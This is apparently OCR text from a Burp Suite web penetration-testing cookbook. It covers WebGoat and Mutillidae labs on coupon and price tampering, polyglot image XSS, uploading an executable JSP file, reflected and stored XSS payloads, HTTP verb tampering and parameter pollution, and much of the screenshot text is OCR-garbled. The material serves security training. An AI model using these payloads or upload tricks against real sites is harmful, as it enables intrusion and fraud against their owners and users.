Dangerous Use of Eval

. Insecure Client Storage

Authentication Flaws
Buffer Overflows

Code Quality

Concurrency

Cross-Site Scripting (XSS)
Improper Error Handling
Injection Flaws

Denial of Service

Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions
Challenge

Solution Videos Restart this Lesson

STAGE 2: Now, try to get your entire order for free,

* Congratulations. You have successfully completed this lesson.

Shopping Cart
Shopping Cart Items -- To Buy

Price Quantity Total

Now
Studio RTA - Laptop/Reading Cart with
Tilting Surface - Cherry $69.9 0— 000
Dynex - Traditional Notebook Case 427,99 0 $0.00
Hewlett-Packard - Pavilion Notebook
with Intel® Centrino™ $1599'99 ! $3f199‘98
3 - Year Performance Service Plan
§1000 and Over §299.99 |0 $0.00
Total before coupon is applied: $3,199.98
Total to be charged to your credit card: $0.00
Enter your credit card number. }4128 1400021999
Enter your coupon code: 60LD |

Purchase



How it works...

Due to a lack of server-side checking for both the coupon code as well as the
grand total amount prior to charging the credit card, we are able to circumvent
the prices assigned and set our own prices instead.



Uploading malicious files — polyglots

Polyglot is a term defined as something that uses several languages. If we carry
this concept into hacking, it means the creation of a cross-site scripting (XSS)
attack vector by using different languages as execution points. For example,
attackers can construct valid images and embed JavaScript with them. The
placement of the JavaScript payload is usually in the comments section of an
image. Once the image is loaded in a browser, the XSS content may execute,
depending upon the strictness of the content-type declared by the web server and
the interpretation of the content-type by the browser.



Getting ready

e Download a JPG file containing a cross-site scripting vulnerability from the

PortSwigger blog page: https://portswigger.net/blog/bypassing-csp-using-
polyglot-jpegs
o Here is a direct link to the polyglot image: http://portswigger-
labs.net/polyglot/jpeg/xss.jpg
e Using the OWASP WebGoat file upload functionality, we will plant an
image into the application that contains an XSS payload.



https://portswigger.net/blog/bypassing-csp-using-polyglot-jpegs
http://portswigger-labs.net/polyglot/jpeg/xss.jpg

How to do it...

1. Ensure the owaspbwa VM is running. Select the OWASP WebGoat
application from the initial landing page of the VM. The landing page will
be configured to an IP address specific to your machine.

2. After you click the OWASP WebGoat link, you will be prompted for login
credentials. Use these credentials: username: guest; password: guest.

3. After authentication, click the Start WebGoat button to access the
application exercises.

4. Click Malicious Execution | Malicious File Execution from the left-hand
menu. You are presented with a file upload functionality page. The
instructions state that only images are allowed for upload:
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The form below allows you to upload an image which will be displayed on this page. Features like
this are often found on web based discussion boards and social networking sites. This feature is
Vulnerable to Malicious File Execution,

In order to pass this lesson, upload and run a malicious file. In order to prove that your file can
execute, it should create another file named:

[var/lib/tomcaté/webapps/WebGoat/mfe_target/quest.txt

Once you have created this file, you will pass the lesson.
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5. Browse to the location where you saved the xss.jpg image that you
downloaded from the PortSwigger blog page mentioned at the beginning of
this recipe.

6. The following screenshot how the image looks. As you can see, it is
difficult to detect any XSS vulnerability contained within the image. It is
hidden from plain view.

7. Click the Browse button to select the xss. jpg file:

Logout §F

Malicious File Execution

OWASP WebGoat v5.4
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The form below allows you to upload an image which will be displayed on this page. Features like
this are often found on web based discussion boards and social networking sites. This feature is
vulnerable to Malicious File Execution.

In order to pass this lesson, upload and run a malicious file. In order to prove that your file can
execute, it should create another file named:

[var/lib/tomcat6/webapps/WebGoat/mfe_target/guest.txt

WebGoat Image Storage

Malicious File Execution

Parameter Tampering Your current image:

Session Management Flaws
Web Services

Admin Functions i
Challenge Upload a new image: Browse... xss.jpg Start Upload

No image uploaded

C d by Chuck
s "Wih'fslu' ANDIANT

OWASP Foundation | Project WebGoat | Report Bug

8. Switch to Burp's Proxy | Options. Make sure you are capturing Client
responses and have the following settings enabled. This will allow us to
capture HTTP responses modified or intercepted:



EJ Intercept Server Responses

@ |Use these settings to control which responses are stalled for viewing and editing in the Intercept tab.

() Intercept responses based on the following rules: Master interception is tumned off

[ Add J Enabled | Operator | Match type ' Relationship | Condition
€] Content type header Matches text
Edit &) Or Request Was modified
S ] or Request Was intercepted
Remove (=] And Status code Does not match 3048 >
g And URL Is in target scope
Up

() Automatically update Content-Length header when the response is edited

9. Switch to Burp's Proxy | Intercept tab. Turn Interceptor on with the button
Intercept is on.
10. Return to the Firefox browser, and click the Start Upload button. The
message should be paused within Burp's Interceptor.

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options. T Alerts ]

j ntercept I HTTP history I WebSockets history I Options 1

[ﬁJ Request to hitp://192.168.56.101:80

| Forward | | Drop | I Intercept is on I | Acton |
j Raw T Params T Headers Im

POST /WebGoat/attack?Screen=10&menu=1£00 HTTP/1.1

Host: 152.168.5£.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé&d4,; xE€4; rv:El.0) Gecko/IZ01l00101 Firefox/El.0
Accept: text/html, application/xhtml+xml, application/xnl;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Peferer: http://192.168.56.101/WebhGoat/attack?Screen=l8&menu=1&00

Content-Type: multipart/form-data; boundary=-------------—————————————- 41184676334
Content-Length: 25261

Cookie: JSESSIONID=ELZD7ALlLFIC3E65245CDOELZ6E0407ECD; acopendivids=swingset, jotto,phpbbl,rednine; acgroupswithpersist=nada
Authorization: Basic 23V1c3(6Z23V1ec3Q=

Connection: close

Upgrade-Insecure-Recquests: 1

————————————————————————————— 41184676334
Content-Disposition: form-data; name="myfile"; filename="xss.jpg"

Content-Type: image/ipeqg

Y@y a/*JFIFOOOOOHOHOOOOOOOOOOO00O0O00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000C0000000000000000000000000000000000000000000000000000000000000000000000C0000000000000

11. Within the Intercept window while the request is paused, type Burp rocks
into the search box at the bottom. You should see a match in the middle of
the image. This is our polyglot payload. It is an image, but it contains a
hidden XSS script within the comments of the image:



| Target I Proxy T Spider T Scanner T Intruder T Repeater T Seguencer | D

_[ Intercept T HTTP history T WebSockets history T Options ]

#”| Reguest to hitp://192.168.56.101:80

[ Forward ] l Drop J [ Intercept is on 1 { Action J

[ maw | params | Headers | Hex |
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0O00000000000000000000000000000000000000000000000000000000C
O000000000000000000000000000000000000000000000000000000000c
0000000000000000000000000000000000000000000000000000000000C
000000 0000000000000000000000000000000000000000000000000000¢
O000000000000000000000000000000000000000000000000000000000c
0000000000000000000000000000000000000000000000000000000000C
0O00000000000000000000000000000000000000000000000000000000¢
0000000000000000000000000000000000000000000000000000000000C
000000000 0000000000000000000000000000000000000000000000000C
0000000000000000000000000000000000000000000000000000000000¢
0oooog 0O000000000000000000000C
OO0y hOp* f=alert ( "Burp rocks."m;;*qgncnnnunnnuunnunuunununnt
Ooooo
ooo
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12. Click the Forward button. Now turn Interceptor off by clicking the toggle
button to Intercept is off.

13. Using Notepad or your favorite text editor, create a new file called
poly.jsp, and write the following code within the file:

<HTML>

<% java,io.File file = new
java.io.File("/var/lib/tomcat6/webapps/WebGoat/mfe_target/guest.txt");

file.createNewFile();%>
</HTML>

14. Return to the Malicious File Execution page, and browse to the poly.jsp
file you created, and then click the Start Upload button. The poly.jsp is a
Java Server Pages file that is executable on this web server. Following the
instructions, we must create a guest . txt file in the path provided. This
code creates that file in JSP scriptlet tag code:



Solution Videos Restart this Lesson

The form below allows you to upload an image which will be displayed on this page. Features like
this are often found on web based discussion boards and social networking sites. This feature is
vulnerable to Malicious File Execution.

In order to pass this lesson, upload and run a malicious file. In order to prove that your file can
execute, it should create another file named:

/var/lib/tomcat6/webapps/WebGoat/mfe_target/guest.txt

Once you have created this file, you will pass the lesson,

WebGoat Image Storage

Your current image:

Upload a new image:| Browse... poly.jsp Start Upload

Created by %H:;kﬂ A N DIA N T

INTELLIGEN N SCOURITY

OWASP Foundation | Project WebGoat | Report Bug

15. Right-click the unrecognized image, and select Copy Image Location.

16. Open a new tab within the same Firefox browser as WebGoat, and paste the
image location in the new tab. Press Enter to execute the script, and give
the script a few seconds to run in the background before moving to the next
step.

17. Flip back to the first tab, F5, to refresh the page, and you should receive the
successfully completed message. If your script is running slowly, try
uploading the poly.jsp on the upload page again. The success message
should appear:



OWASP WebGoat V5.4

Malicious File Execution

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Coqe Quality
Concurrency

Cross-Site Scripting (XSS)
Improper Error Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Configuration
Insacure Storage
Malicious Execution

Parameter Tampering
Session Management Flaws
Web Services

Admin Functions

Challenge

Malicious File Execution

Restart this Lesson

Solution Videos

The form below allows you to upload an image which will be displayed on this page. Features lie
this are often found on web based discussion boards and social networking sites. This feature is
vulnerable to Malicious File Execution.

In order to pass this lesson, upload and run a malicious file, In order to prove that your file can
execute, it should create anather file named:

Jvarlib/tomcat6/webapps/WebGoat/mfe_target/quest.txt

Once you have created this file, you will pass the lesson.
* Congratulations. You have successfully completed this lesson,

WebGoat Image Storage

Your current imaqe:F

Unload a new image: Browse... No file selected. Start Upload

Created by (‘;‘Iﬂnlcskm AN D | ANT

INTELLIGENT INFORMATICN SCOURITY

OWASP Foundation | Project WebGoat | Report Bug



How it works...

Due to unrestricted file upload vulnerability, we can upload a malicious file such
as a polyglot without detection from the web server. Many sites allow images to
be uploaded, so developers must ensure such images do not carry XSS payloads
within them. Protection in this area can be in the form of magic number checks
or special proxy servers screening all uploads.



There's more...

To read more about polyglots, please refer to the Portswigger
blog: https://portswigger.net/blog/bypassing-csp-using-polyglot-jpegs.


https://portswigger.net/blog/bypassing-csp-using-polyglot-jpegs

Evaluating Input Validation Checks

In this chapter, we will cover the following recipes:

Testing for reflected cross-site scripting
Testing for stored cross-site scripting
Testing for HTTP verb tampering
Testing for HTTP Parameter Pollution
Testing for SQL injection

Testing for command injection



Introduction

Failure to validate any input received from the client before using it in the
application code is one of the most common security vulnerabilities found in
web applications. This flaw is the source for major security issues, such as SQL
injection and cross-site scripting (XSS). Web-penetration testers must evaluate
and determine whether any input is reflected back or executed upon by the
application. We'll learn how to use Burp to perform such tests.



Software tool requirements

In order to complete the recipes in this chapter, you will need the following:

e OWASP Broken Web Applications (VM)
e OWASP Mutillidae link
¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)


https://portswigger.net/burp/

Testing for reflected cross-site
scripting

Reflected cross-site scripting occurs when malicious JavaScript is injected into
an input field, parameter, or header and, after returning from the web server, is
executed within the browser. Reflected XSS occurs when the execution of the
JavaScript reflects in the browser only and is not a permanent part of the web
page. Penetration testers need to test all client values sent to the web server to
determine whether XSS is possible.



Getting ready

Using OWASP Mutillidae II, let's determine whether the application protects
against reflected cross-site scripting (XSS).



How to do it...

1. From the OWASP Mutilliae II menu, select Login by navigating to OWASP
2013 | A3 - Cross Site Scripting (XSS) | Reflected (First Order) | Pen Test
Tool Lookup:

% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 A1 - Injection (SQL)
A1l - Injection (Other)

Pen Test Tool Lookup

OWASP 2010

A2 - Broken Authentication and
OWASP 2007 Session Management f Help Me!

Web Services A3 - Cross Site Scripting (XSS) » | Reflected (First Order) » | DNS Lookup

A4 - Insecure Direct Object Persistent (Second Order) ¥ | Pen Test Tool Lookup

2. Select a tool from the drop-down listing and click the Lookup Tool button.
Any value from the drop-down list will work for this recipe:

| Pen Test Tool Lookup |

<® Back e Help Me!

Hints

f_:\.
A‘Ax Switch to AJAX Version of page

Pen Test Tools

[ Select Pen Test Tool ]

Pen Test Tool | Skipfish v

[ Lookup Tool ]




3. Switch to Burp Proxy | HTTP history and find the HTTP message you just
created by selecting the lookup tool. Note that in the request is a parameter
called Tool1D. In the following example, the value is 16:



Targe I Proy I e I Seamer T il I Repealer I Sequencer I Decoder T Conparer I Etender I Projctotins I Useropion IAEM THeaders Andyze ‘mVaidn

et T TP iy [Wehﬁuckﬂshﬁlury T Onlns \

Logging ofougcape Py affc i isabled | Re-enabl

Fite: i 5, nage an enel iy o

" e R b G S L e iy
WIOEEN |0 meemesegy (0 0 OB AL g

4
«\ _ /
Requet | Responsg

Ra | Pans | Headers | Hex

JOST /nueillidae/index. phy!pagespen-test-tool-lockup. phy HITH/L.1

Host: 192, 160, %6.101

User=Agent: Mozilla/S.0 (Windows 0T 10.0; Winéd; uéd; rv:6L.0) Gecko/20000101 Pirefou/6l.0
hecept: text/heal, application/shealtral application/saliq=0.5,"/*q:0.0

hecept-Lanquage: en-U5, em;g=0. 5

Aecept-neoding: gaip, deflate

Referer: hetp://152.166. 56. 101 /ot illidae/index. php?page=pen-test-tool-Lookup. php
Content-Type: application/s-wv-foru-urlencoded

(ontent=Length: £0

(ockie: shovhinessl; PHPSESSID=d74Shorno0Swmdjnjrdncless; acependivids=suingset, jotto phpbbl redaine; aeqroupsvithpersist=nada
Commection: close

Upgrade-Insecure-Pequests: |

(ache-Control: na-age=l

Tool D= ¢kpen-test=tool=lookup=phy-subuit -button=lockuptTool



4. Flip over to the Response tab and note the JSON returned from the request.
You can find the JavaScript function in the response more easily by typing
PenTest in the search box at the bottom. Note that the tool_id is reflected
in a response parameter called tool1DRequested. This may be an attack
vector for XSS:



| [ Target ] Proxy I Spider I Scanner ] Intruder l Repeater I Sequencer I Decoder [Camparer I Extender I Project options I User options IAlerls ]

Intercept | HTTP history T WebSockets history T Options ]
! Logging of out-of-scope Proxy traffic is disabled | Re-enable

Fiter: Hiding CSS, image and general binary content

¥ A|Host | Method | URL | Params | Edied | Status | Lengt
54 http/M92.168.56.101 POST  Imutilidae/index php?page=pen-test-tooklookup.php v 200 5086
==

e

Jﬂnw I Headers 1 Hex I HTHIL I Render ]

var gUseSafeJSONParser = "FALSE";
var gUseJavaScriptValidation = "FALSE";
var gDisplayError = "FALSE";
var gPenTestToolsJ50NString = '{"query": {'"toolIDRequested": "16" ‘"penTestTools": [{"tool id":"16" "tool name":
Query Tool", "comment":"The Domain Information Groper is prefered on Linux over NSLookup and provides more inform
output. DIG can perform zone transfers if the DNS server allows transfers."}]1}}'
var addRow = function(pRowOfData){
tryl
var 1lDocRoot = window.document;
var 1TBody = 1DocRoot . getElementById("idDisplayTableBody");
var 1TR = 1DocRoot.createElement("tr");

/ltool_id, tool name, phase to_use, tool type, comment

var 1ToolIDTD = 1DocRoot. createElement("td");
var 1lToolNameTD = 1lDocRoot.createElement ("td");
var 1PhaseTD = 1DocRoot.createElement ("td");
var 1ToolTypeTD = 1DocRoot.createElement ("td");
var 1CommentTD = lDocRoot.createElement ("td");

/ [1¥eyTD. addAttribute ("class", "label"):
1ToolIDTD.setAttribute("class", "sub-body");
1ToolNameTD.setAttribute("class", "sub-body");
1ToolNameTD. setAttribute("style", "color :#770000");
1PhaseTD.setAttribute("class", "sub-body");
1ToolTypeTD.setAttribute("class", "sub-body"):
1CommentTD . setAttribute("class", "sub-body");
1CommentTD.setAttribute("style", "font-weight: normal");

1ToolIDTD. appendChild (1DocRoot . createTextNode (pRowdfData.tool _id));
1ToolNameTD. appendChild(1DocRoot . createTextNode (pRowOfData. tool name));
1PhaseTD. appendChild(1DocRoot . createTextNode (pRowDfData. phase _to use));
1ToolTypeTD. appendChild(1DocRoot . createTextNode (pRowOfData. tool type)):
1CommentTD . appendChild (1DocRoot . createTextNode (pRow0fData. comment) ) ;

1TR. appendChild (1ToolIDTD);

ATE ~wmandlhi 1A TTanT MamaThh -

4
3
|
|

PenTest




5. Send the request over to Repeater. Add an XSS payload within the ToolID
parameter immediately following the number. Use a simple payload such
as <script>alert(1);</script>:



Target I Proxy T Spider T Scanner T Intruder I Repeater I SEqUencer I Decoder T Comparer T Extender r

r1 i ‘2 i ‘3 i Tﬁ?}
G | Camel | v D

J Raw T Params I Headers I Hex 1

POAT /uutillidae/index.php?pagespen-test-tool-lockup.php HTTR/1.1

Host: 132.1e8.56.101

User-Agent: Mozilla/5.0 (Vindows NT 10.0; Wingd; xed4; rv:el.0) Gecko/Z0100101
Firefox/el.0

Aceept: text/html,application/xhtml+xml application/mml;q=0.9*/*;q=0.8
Accept-Lanquage: en-Us,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56. 101 /mutillidas/index. php?page=pen-test-tool-lookup. php
Content-Type: application/x-www-form-urlencoded

Content-Length: &0

Cookie: showhints=l, PHPSESSID=dl74iborno0%mdinjvrdndlesZ;
acopendivids=swingset,jotto,phpbhl, reduine; acgroupswithpersist=nada
Comnection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

ToolID=lle<seriptealert (1), </scriptiipen-test-tool-lookup-phyp-subnit-hutton=LookuptT
ool




6. Click Go and examine the returned JSON response, searching for PenTest.
Notice our payload is returned exactly as inputted. It looks like the
developer is not sanitizing any of the input data before using it. Let's exploit
the flaw:

Response

_[Raw T Headers T Hex I HTHL T Render 1

var gliseSafeJSONParser = "FALSE";
var glsedavaScriptValidation = "FALSE";
var gDisplayError = "FALSE";
var gPenTestToolsJSONString = '{"query": {"toolIDRequested":
"16<script>alert(1); </script:"| "penTestTools":
[{"tool id":"16", "tool name":"Dig", "phase to use':'Reconnaissance", "tool type":"DNS
Server Query Tool", "comment":"The Domain Information Groper is prefered on Linux
over NSLookup and provides more information natively. NSLookup must be in debug
mode to give similar output. DIG can perform zone transfers if the DNS server
allows transfers."}]}}'

var addRow = function({pRowDfData)|

tryl

var lDockoot = window.document;
var 1TBody = 1DocReot.getElementById("idDisplayTableBody"):
var 1TR = 1DocRoot .createElement ("tr");

[/tool id, tool mame, phase to use, tool type, comment

7. Since we are working with JSON instead of HTML, we will need to adjust
the payload to match the structure of the JSON returned. We will fool the
JSON into thinking the payload is legitimate. We will modify the original
<script>alert(1);</script> payload to "}} )%3balert(1)%3b//
instead.

8. Switch to the Burp Proxy | Intercept tab. Turn Interceptor on with the button
Intercept is on.

9. Return to Firefox, select another tool from the drop-down list, and click the
Lookup Tool button.



10. While Proxy | Interceptor has the request paused, insert the new payload
of "}} )%3balert(1)%3b// immediately after the Tool ID number:

{Target [ Proxy [ Spider I Scanner N hiruder ( Repeater ] Sequencer N Decoder I Comparer [ Extender N Project optons I User options [ Alerts \

J tercept T HTTP history IWebSocketsnistory I Optigng l

@ Reaguest o bty 192.168.5.101:0

| o || g Hmtmmtnoﬂ Aclin

J Raw l Param [ Headers m

POST /mutillidae/index. php?page=pen-test-tool-lockup.php HITP/L.L

Host: 192.168.56.10L

User-hgent: Mozilla/5.0 (Windows NT 10.0; Winod; x6d; rv:61.0) Gecko/20100101 Pirefor/6l.0
Accept: text/html,application/shtultiml, application/ml;q=0.5,*/*;¢=0.8

Acrept-Lanquage: en=U5, en;q=0.5

Aeeept-Incoding: gzip, deflate

Referer: http://157.166. 5. 100 /mucillidae/indey. php?page=pen-test-tool-loakup. php
Content=Type: application/x-www=form-urlencoded

Content-Length: €0

Cookie: shovhints=l; PHPSESSID=dl743horno0SwndinjvdudlesZ; acopendivids=swingset,jotto,phpbhZ reduine; acqroupswithpersist=nada
Comnection: close

Tpgrade-Insecute-Requests: 1

ToolID=12"}} J¥3balext(1)43b//Kpen-test-tool-lookup-php-subnit-button=Lookuptlool

11. Click the Forward button. Turn Interceptor off by toggling to Intercept is
off.

12. Return to the Firefox browser and see the pop-up alert box displayed.
You've successfully shown a proof of concept (PoC) for the reflected XSS
vulnerability:






How it works...

Due to inadequate input cleansing prior to using data received from the client. In
this case, the penetration testing tools identifier is reflected in the response as it
is received from the client, allowing an attack vector for an XSS attack.



Testing for stored cross-site scripting

Stored cross-site scripting occurs when malicious JavaScript is injected into an
input field, parameter, or header and, after returning from the web server, is
executed within the browser and becomes a permanent part of the page. Stored
XSS occurs when the malicious JavaScript is stored in the database and is used
later to populate the display of a web page. Penetration testers need to test all
client values sent to the web server to determine whether XSS is possible.



Getting ready

Using OWASP Mutillidae II, let's determine whether the application protects
against stored cross-site scripting.



How to do it...

1. From the OWASP Mutilliae II menu, select Login by navigating to OWASP
2013 | A3 - Cross Site Scripting (XSS) | Persistent (First Order) | Add to
your blog:

o% OWASP Mutillidae I: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed)  Hints: Enabled (1 - 5cr1pt K1dde)  Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 At - Injection (SQL)
At - Injection (Other)

Pen Test Tool Lookup

OWASP 2010

A2 - Broken Authentication and
OWASP 2007 Session Management Help Me!

Web Services A3 - Cross Site Scripting (XSS) ~ * |Reflected (First Order)

A4 - Insecure Direct Object b Persistent (Second Order) V' Add to your blog

2. Place some verbiage into the text area. Before clicking the Save Blog Entry
button, let's try a payload with the entry:



Tir! Imey I S [Sr:anner Mtruder X Rt ] Sente [Decmler ‘Eornparer I b I roet opons [User (ions IAlerts ]

gt | TR ity ‘WebSud(ets Nty W Oping \

| aamimn .Illl‘ i af AARAS Monvii yamia A Hins h ‘_.'\ R Dl
F“C'F '\‘u‘ [ Jlfl '.‘..-ILI.' FIOAY JalllG 1§ UrsdlIgy Hﬂa B

e g S5, mageandgenerl iy o

by i L W e e

[ \GEI_I nieREg R, (O WL gy
{

Request | Responge

| Raw [ Pang [Headers M

CET /uutillidae/indey, phyTpage=hone. phppopUlatificat ionCode=HFH0 ETTH/L.1

Rost: 162, 166,56, 101

User=Agent: Noailla/5.0 (Vindows T 10.0; Vinéd; xed; rw:6L.0) Gecko/20100L0L Pirefou/EL.0

hevept: text/btnl application/xhealtvnl, application/ml;q=0.8,*/%es0.0

Aecept-Lanquage: enelf ensge0. 5

Aecept-Tneoding: guip, deflate

Referer: lep://19C. 168, S6. L0L /wutiLLidae /indey, phopage=hone. phptpoplpllat i icat dantode=HPH0

Caockie: shoshints=l; FERSERSTD=0174Shormolfmégmyviutlest; acopendivids=svingset, Jotto, bbbz, reduine; acqrowpsvithpersistenada
Comection: close

Upgrade-nsecure-Reuests: |



3. Switch to the Burp Proxy | Intercept tab. Turn Interceptor on with the button
Intercept is on.
4. While Proxy | Interceptor has the request paused, insert the new payload of

<script>alert(1);</script>immediately following the verbiage you
added to the blog:

. [ Target T Proxy T Spider T Scanner l Intruder T Repeater I Sequencer T Decoder 1 Comparer T Extender T Project options I User options T Alerts ]

_[ tegeept | HTTP history | webSockets history | Options |

lﬁj Request to http://192.168.56.101:80

L Forward J L Drop J ‘ Intercept is on | Action

J Raw T Params I Headers Hex

POST /mutillidae/index.php?page=add-to-your-blog.php HTTP/1.1

Host: 19C2.1€8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x€4; rv:€l.0) Gecko/Z0100101 Firefox/E1l.0
Accept: text/html,application/xhtmltzxnl, application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.101l/mutillidae/index. phpipage=add-to-your-blog. phpépopUpNotificationCode=5UD1
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

Cookie: showhints=1; PHPSESSID=dl745bhorno0SvndjnjvimSlesl;
Connection: close

Upgrade-Insecure-Requests: 1

acopendivids=swingset,jotto,phpbbhl, redunine; acgroupswithpersist=nada

esri-token=&blog_entry= T'h.is+is+my+b.log+ent-x:3|<script>alert 5 </scri1:t>|.a<ld*t-o~your -blog-php-subnit-button=5Savet+Blog+Entry

5. Click the Forward button. Turn Interceptor off by toggling to Intercept is
off.

6. Return to the Firefox browser and see the pop-up alert box displayed:



7. Click the OK button to close the pop-ups. Reload the page and you will see
the alert pop-up again. This is because your malicious script has become a
permanent part of the page. You've successfully shown a proof of concept
(PoC) for the stored XSS vulnerability!



How it works...

Stored or persistent XSS occurs because the application not only neglects to
sanitize the input but also stores the input within the database. Therefore, when a
page is reloaded and populated with database data, the malicious script is
executed along with that data.



Testing for HT'TP verb tampering

HTTP requests can include methods beyond GET and POST. As a penetration
tester, it is important to determine which other HTTP verbs (that is, methods) the
web server allows. Support for other verbs may disclose sensitive information
(for example, TRACE) or allow for a dangerous invocation of application code
(for example, DELETE). Let's see how Burp can help test for HTTP verb
tampering.



Getting ready

Using OWASP Mutillidae 11, let's determine whether the application allows
HTTP verbs beyond GET and POST.



How to do it...

1. Navigate to the homepage of OWASP Mutillidae II.

2. Switch to Burp Proxy | HTTP history and look for the HTTP request you

just created while browsing to the homepage of Mutillidae. Note the
method used is GET. Right-click and send the request to Intruder:

[ Target T Proxy T Spider I Scanner T Intruder T Repeater T Seguencer T Decoder I Comparer T Extender T Project options I User options T Alerts ]

Intercept | HTTP history T WebSockets history I Options ]

| Fitter: Hiding CSS, image and general binary content

# AV Host | Method || URL | Params | Edited | Status | Length | MIME type | Extension VT'ltle
[ hitp:/1192.168.56.101 GET Imutilidae/index.php?page=home.phpé... v 200 46441 HTML php
|-

Request | Response

J Raw I Params ] Headers | Hex

GET /mutillidae/index.php?page=homne. php&popUpNotificationCode=HPHO HTTP/1.1

Host: 192.1€8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x=E4; rv:£1.0) Gecko/Z0100101 Firefox/€1.0
Accept: text/html,application/xhtml+txnl application/xml;q=0.9 */*;q=0.8

Aocept-Language: en-US,en;gq=0.5

Accept-Encoding: gzip, deflate

Referer: http:// /182 168.56.101/mutillidae/index . php?page=home. php&popUpNotificationCode=HPHO

Cookie: showhints=1; PHPSESSID=dl745borno0Svn4jinjvimSlcsI; acopendivids=swingset, jotto,phpbhbl,rednine; acgroupswithpersist=nada

Connection: close
Upgrade-Insecure-Requests: 1

3. In the Intruder | Positions tab, clear all suggested payload markers.

Highlight the GET verb, and click the Add $ button to place payload markers

around the verb:



o ot | | |t | ot i

@ o | s

w Payload Postong

Confgure e postons wherepeoads il e e o e bese rues,The i tyoe lrmnes e ay 1 WA peoads s ssgnedpeyoad postions - e hep fr ful e

Aipe S

QCRTS fmutiLLidae/index. phy'pageshons. phptpontllot fieat onCode=HPR0 ETTH/L.]

fost: 152, 168, 86. 101

User=Agent: Noailla/S.0 (Vindows NT 10.0; Wined; ned; rw:€L.0) Gecko/20L00L01 Firefon/eL.0

Accept: toxt/btal, application/shtaltal, application/mlige0.5,"/*;0e0.0

hevept-Language: el en;el.§

hevept-Tncoding: quip, deflate

Befarer: hetp: /19, 168, 86, 100wt LLidae/ ndex. phnpage=houe. phpipep Uit et Lonoda=HEKD

Cackle: showhinese1; PHPSESSID=dlTShornoldwmdgmywdullest; acopendivids=svingset, jotto, phybbe, reduine; aeqroupsvithpersist=nada
Camection: close

Tograde-Insecurs-Requasts; |

4. In the Intruder | Payloads tab, add the following values to the Payload
Options [Simple list] text box:
o OPTIONS
o HEAD
o POST



PUT
DELETE
TRACE
TRACK
CONNECT
PROPFIND
PROPPATCH
MKCOL
COPY

O O 0O O 0 o o o o

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste | | OPTIONS A
| HEAD
Load ... POST )
—__ |PUT
Eemove DELETE >
TRACE
Clear TRACK
CONNECT -
PROPFIND v

m
-
n
[ =]
£h
=
n
=

|A1:I-|:I|

| Add from it ... v

5. Uncheck the Payload Encoding box at the bottom of the Payloads page and
then click the Start attack button.

6. When the attack results table appears, and the attack is complete, note all of
the verbs returning a status code of 200. This is worrisome as most web
servers should not be supporting so many verbs. In particular, the support
for TRACE and TRACK would be included in the findings and final report
as vulnerabilities:



Intruder attack 1

Attack Save Columns

_[ Resuits I Target T Postions I Payloads I Options ]

Fiter: Showing all tems

Reguest A| Payload Status ‘ Error
0 200 U
1 OPTIONS 200 U
2 HEAD 200 U
3 POST 200 =
4 PUT 200 U
c DELETE 200 U
6 TRACE 200 U
7 TRACK 200 U
8 CONNECT 400 U
g PROPFIND 200 -
10 PROPPATCH 200 U
11 MKCOL 200 U
12 COPY 200 U




How it works...

Testing for HTTP verb tampering includes sending requests against the
application using different HTTP methods and analyzing the response received.
Testers need to determine whether a status code of 200 is returned for any of the
verbs tested, indicating the web server allows requests of this verb type.



Testing for HTTP Parameter
Pollution

HTTP Parameter Pollution (HPP) is an attack in which multiple HTTP
parameters are sent to the web server with the same name. The intention is to
determine whether the application responds in an unanticipated manner, allowing
exploitation. For example, in a GET request, additional parameters can be added
to the query string—in this fashion: “&name=value”—where name is a duplicate
parameter name already known by the application code. Likewise, HPP attacks
can be performed on POST requests by duplicating a parameter name in the
POST body data.



Getting ready

Using OWASP Mutillidae II, let's determine whether the application allows HPP
attacks.



How to do it...

1. From the OWASP Mutilliae II menu, select Login by navigating to OWASP
2013 | A1 - Injection (Other) | HTTP Parameter Pollution | Poll Question:



o OUASP Mol Web P inas Producon

Verson: 264 Securiy Level: 0 (Hosed) it Enabled (1 erfptKfete)  Not Logged

Home Login/Register Toggle ints Show Popup Hints Toggle Securty Enforce SSL Reset DB ViewLog View Captured

owspants ALt 1) '
AL - njction (Other) ) HTML necion (L)

OWASP 2010

A0 - roken Authenticatonand P HTWL i HTTP Header

OWASP2007 o Maagemert
HIMLI Via DOM [njection

- AR Cross St Septing 58]
il LT e

M-I Diet et~ !

i References

Frae Source o '

(e 5- Sty g M ’

) JavaSerp njcto W Todl

Documentation A6 - Senstive Data Expostre

HTTP Parameter Pollion ) Rl Queston

2. Select a tool from one of the radio buttons, add your initials, and click the
Submit Vote button:



|

User Poll ]

Q‘; S

User Poll

Help Me!

Hints

[ Choose Your Favorite Security Tool ]

Initial your choice to make your vote count

O0O0O0OO0O0OO0OO0O0O®

nmap
wireshark
tcpdump
netcat
metasploit
kismet
Cain
Ettercap
Paros
Burp Suite
Sysinternals
inSIDDer

Your Initials:[sw

[ Submit Vote ]

No choice selected

